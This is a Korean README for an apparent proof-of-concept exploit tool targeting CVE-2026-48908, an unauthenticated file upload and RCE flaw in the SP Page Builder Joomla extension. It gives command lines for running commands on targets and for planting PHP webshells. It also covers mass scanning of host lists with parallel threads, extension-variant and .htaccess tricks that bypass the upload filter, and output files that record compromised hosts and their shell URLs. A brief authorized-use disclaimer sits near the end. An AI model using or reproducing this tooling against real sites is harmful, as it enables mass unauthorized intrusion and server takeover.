
CVE-2026-48908에 대한 인증되지 않은 RCE PoC. SP Page Builder(Joomla) 임의 파일 업로드 및 원격 코드 실행 익스플로잇으로, 대량 스캔 기능을 지원합니다.
SP Page Builder(com_sppagebuilder) Joomla ≤ 6.6.1용은 인증되지 않은 공격자가 임의의 파일을 업로드하고 원격 코드 실행을 달성할 수 있게 합니다.
| 필드 | 값 |
|---|---|
| CVE | CVE-2026-48908 |
| CWE | CWE-284 (부적절한 접근 제어) |
| 구성 요소 | SP Page Builder (com_sppagebuilder) |
| 영향 범위 | 1.0.0 – 6.6.1 |
| 수정 버전 | 6.6.2 |
| 권한 | 없음(인증 전) |
| 사용자 상호 작용 | 없음 |
body="com_sppagebuilder"
pip install -r requirements.txt
python3 exploit_poc.py https://target.example -c "id"
python3 exploit_poc.py --url target.example -c "uname -a"
python3 exploit_poc.py https://target.example --check # 탐지만 수행, 명령 실행 안 함
python3 exploit_poc.py https://target.example --token abc123 # 사용자 지정 토큰
python3 exploit_poc.py --hosts ips.txt -c "id"
python3 exploit_poc.py --hosts ips.txt -c "id" -j 20 # 20개의 병렬 스레드
python3 exploit_poc.py --hosts ips.txt --no-verbose # 자동 모드
python3 exploit_poc.py https://target.example --shell-file shell.php
python3 exploit_poc.py --hosts ips.txt --shell-file shell.php
참고:
--shell-file을 사용하면 스크립트는 웹셸만 업로드하고 URL을 보고합니다.-c명령을 실행하거나 어떤 실행 테스트도 수행하지 않습니다. 업로드된 셸은 명령 입력을 독립적으로 처리해야 합니다.



스캔 후 세 가지 결과 파일이 저장됩니다:
이 익스플로잇은 com_sppagebuilder의 asset.uploadCustomIcon 작업을 남용합니다:
/media/com_sppagebuilder/assets/iconfont/<name>/fonts/에 압축 해제합니다.스크립트는 실행되는 확장자를 찾을 때까지 여러 PHP 확장자(.php, .PHP, .pHp, .Php, .pht, .phtml 등)를 시도합니다.
직접 PHP 확장자가 SPPB의 필터에 의해 차단되면 스크립트는 페이로드와 함께 .htaccess 파일을 드롭합니다:
AddType application/x-httpd-php .PHP
이렇게 하면 웹 서버가 .PHP(대문자)를 PHP로 처리하도록 강제하여 SPPB의 대소문자 구분 차단 목록을 우회합니다. AllowOverride가 활성화되고 /media에서 PHP 실행이 허용되어야 합니다.
참고:
.htaccess+ 대문자.PHP우회는 모든 구성에서 작동하지 않을 수 있습니다. 실패하면.png또는.jpeg확장자를 대신 사용해 보세요.AllowOverride가 비활성화되었거나/media에서 PHP 실행이 차단된 서버에서는 업로드된 셸도 실행되지 않습니다("쓰기 전용"으로 보고됨).
이 PoC는 https://github.com/papageo75/CVE-2026-48908-PoC/ 을 기반으로 하며 다음이 추가되었습니다:
일부 서버 응답에는 실제 JSON 페이로드 앞에 비 JSON 접두사(예: cron 표현식 또는 기타 쓰레기)가 포함될 수 있습니다. 원래 PoC는 이러한 응답을 구문 분석할 때 r.json()에서 충돌합니다. 이 버전은 첫 번째 { 문자를 검색하고 JSON 하위 문자열 디코딩을 시도합니다:
이전:
try:
data = r.json()
except ValueError:
return None
이후:
try:
data = r.json()
except ValueError:
raw = r.text
idx = raw.find("{")
if idx == -1:
return None
try:
data, _ = json.JSONDecoder().raw_decode(raw[idx:])
except ValueError:
return None
예시 — 유효한 JSON 응답:
{
"name": "icoctxojp",
"data": {
"id": 17,
"type": "iconfont",
"name": "icoctxojp",
"title": "Icoctxojp",
"assets": "["ico ico-x"]",
"css_path": "media/com_sppagebuilder/assets/iconfont/icoctxojp/style.css",
"created": "2026-06-24 07:26:18",
"created_by": 0,
"published": 1,
"access": 1,
"thumb": "https://[REDACTED]//components/com_sppagebuilder/assets/images/customIcons/default.jpg"
},
"status": true,
"output": "Uploaded"
}
예시 — 비 JSON 응답(JSON 앞에 접두사 쓰레기):
cron:self,tpl:amara_pro,cfg:ok{
"name": "icoxwetsw",
"data": {
"id": 163,
"type": "iconfont",
"name": "icoxwetsw",
"title": "Icoxwetsw",
"assets": "[\"ico ico-x\"]",
"css_path": "media\/com_sppagebuilder\/assets\/iconfont\/icoxwetsw\/style.css",
"created": "2026-06-24 03:42:57",
"created_by": 0,
"published": 1,
"access": 1,
"thumb": "https:\/\/[REDACTED]\/\/components\/com_sppagebuilder\/assets\/images\/customIcons\/default.jpg"
},
"status": true,
"output": "Uploaded"
}
다중 스레드 대량 스캔 기능이 추가되었습니다:
--hosts <file> — 파일에서 대상 로드(한 줄에 하나)-j, --threads <n> — 병렬 스레드 수 설정(기본값: 10)--no-verbose — 호스트별 상세 출력 표시 안 함.txt 파일로 그룹화되어 저장됩니다기본 제공 토큰 보호 셸 대신 사용자 지정 PHP 웹셸을 업로드하는 --shell-file <path> 옵션이 추가되었습니다. 이 옵션을 사용할 때:
-c 명령을 실행하지 않고 셸을 업로드합니다run())는 수행되지 않습니다custom_shell_hosts.txt에 저장됩니다승인된 사용 전용입니다. 공인된 침투 테스트, CTF 및 랩 대상에만 사용하세요. 이 도구를 어떻게 사용하는지에 대한 책임은 전적으로 사용자에게 있습니다.
| 플래그 | 설명 |
|---|
url | 대상 URL(위치 인수 또는 --url) |
--hosts <file> | 한 줄에 하나의 호스트가 있는 파일 |
-c, --cmd <cmd> | 실행할 명령(기본값: id) |
--check | 탐지만 수행, 명령 실행 안 함 |
--token <token> | 업로드된 셸을 보호하는 비밀(기본값: 임의) |
--shell-file <path> | 기본 제공 셸 대신 사용자 지정 PHP 웹셸 업로드 |
-j, --threads <n> | 대량 스캔용 병렬 스레드 수(기본값: 10) |
--no-verbose | 호스트별 상세 출력 표시 안 함 |
| 파일 | 내용 |
|---|
vulnerable_hosts.txt | RCE 확인 + 웹셸 URL이 있는 호스트 |
not_vulnerable_hosts.txt | 패치되었거나 존재하지 않는 호스트 |
partial_vulnerable_hosts.txt | 파일 쓰기는 가능하지만 PHP 실행이 안 되는 호스트 |
custom_shell_hosts.txt | 사용자 지정 셸이 업로드된 호스트, 기본 URL별로 그룹화(--shell-file 사용 시에만 생성됨) |
scan_results.json | 모든 호스트에 대한 전체 JSON 결과 |